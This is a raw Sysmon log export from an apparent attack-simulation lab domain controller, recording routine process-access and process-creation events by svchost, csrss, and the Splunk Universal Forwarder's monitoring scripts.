09:09:40.121{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002167Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002166Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002165Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002164Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002163Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002162Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002161Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002160Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D4-5F80-6000-000000007F01}2280C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002159Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.121{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D4-5F80-6000-000000007F01}2280C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002158Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.124{A5F018FF-28D4-5F80-6000-000000007F01}2280C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinNetMon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002157Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D4-5F80-5F00-000000007F01}2796C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002156Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002155Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002154Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002153Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002152Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002151Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002150Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002149Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002148Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002147Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D4-5F80-5F00-000000007F01}2796C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002146Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.012{A5F018FF-28CF-5F80-2F00-000000007F01}25283908C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28D4-5F80-5F00-000000007F01}2796C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7d35e7|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7cdcb9|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca4ec|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7ca0a3|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+7c9f0d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6d7908|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6de2ee|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b29fa|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+6b4274|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e42dc|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ec682|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+e9959|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7f31|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002145Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:40.015{A5F018FF-28D4-5F80-5F00-000000007F01}2796C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c ""C:\Program Files\SplunkUniversalForwarder\etc\system\bin\WinHostMon.cmd" --scheme"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000002263Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.934{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28D5-5F80-6700-000000007F01}3984C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002262Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:41.918{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D5-5F80-6700-000000007F01}3984C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002261Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 